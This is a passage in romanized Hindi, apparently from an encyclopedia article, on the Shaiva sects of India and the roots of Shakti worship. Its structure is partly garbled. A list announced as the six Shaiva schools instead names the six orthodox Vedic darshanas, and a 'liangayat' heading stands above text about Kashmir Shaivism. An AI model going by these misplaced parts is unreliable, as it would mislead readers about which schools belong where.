daksh ke yajnaghvans ke prasang ke dvara shiv ki avaidikata ka samarthan kiya jata hai, pauranik yug mean bhi tridevoan ki tulana ke prasang mean virodh ke abhas milate haian. kiantu age chalakar shiv ek atyant lokapriy devata ban ge. shaiv sanpraday pray: gupt tantroan ke roop mean rahe haian. unaka bahut kam sahity prakashit hai. prakashit sahity bhi pratikatmak hone ke karan durooh hai. shaiv paranpara ke anek sanpraday haian. inamean shaiv, pashupat, virashaiv, kalamukh, kapalik, kashmir shaiv mat tatha dakshini mat adhik prasiddh haian. inhean shaiv paranpara ke shat-darshan kah sakate haian. shaiv siddhat ka prachar dakshin mean tamil desh mean hai. isaka adhar agam granthoan mean hai. 14vian shatabdi mean nilakanth ne 'brahmasootroan' par shaivabhashy ki rachana kar vedaant paranpara ke sath shaivamat ka samanvay kiya. pashupat mat nakulish pashupat ke nam se prasiddh hai. pashupat sootr is sanpraday ka mool granth hai. kalamukh aur kapalik sanpraday kuchh bhayankar aur rahasyamay rahe haian. kashmir shaiv mat advait vedaant ke saman hai. shat-darshan nimn haian-
- mimaansa
- vedant
- nyay
- yog
- saankhy
- vaisheshik
liangayat
taantrik hote hue bhi inaka darshanik sahity vipul hai. isaki spand aur pratyabhijna do shakhaean haian. ek ka adhar vasugupt ki spandakarika aur doosari ka adhar unake shishy somanand[11] ka 'pratyabhijnashastr' hai. jiv aur parameshvar ka advait donoan shakhaoan mean many hai. parameshvar 'shiv' vedaant ke brahm ke hi saman haian. virashaiv mat dakshin deshoan se prachalit hai. inake anuyayi shivaliang dharan karate haian. at: inhean 'liangayat' bhi kahate haian. 12vian shatabdi mean vasav ne is mat ka prachar kiya. virashaiv mat ek prakar ka vishishtadvait hai. shakti vishisht vishv ko param tatv manane ke karan ise shakti vishishtadvait kah sakate haian. uttar aur dakshin mean prachalit shaiv sanpraday bhi uttar vedaant sanpradayoan ki bhaanti bharat ki dharmik ekata ke sootr haian. kailas se rameshvaram tak poojit shiv bharatiy ekata ke mangal devata hai. donoan ki yatraoan ke dvara bharatiy ekata ka vyavaharik anushthan hota hai.
shakti
shakti pooja ka strot sanbhavat: prachin bharat ke matritantr mean hai. bharatiy parivaroan mean devi ki mahima bahut hai. striyoan ke nam mean pray: uttarapad ke roop mean 'devi' shabd ka prayog hota hai. shakti ke anek roop haian. lakshmi, sarasvati, parvati kali, adi ke roop mean devi ki upasana hoti hai. 'shakti' ichchharoop hai. shiv sootr mean ichchhashakti ko uma kumari ka roop diya hai[12]. par tatv ke chinmay roop mean ichchha shakti ka samanvay shakti darshan ka ek mahatvapoorn paksh hai.
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tika tippani aur sandarbh
sanbandhit lekh
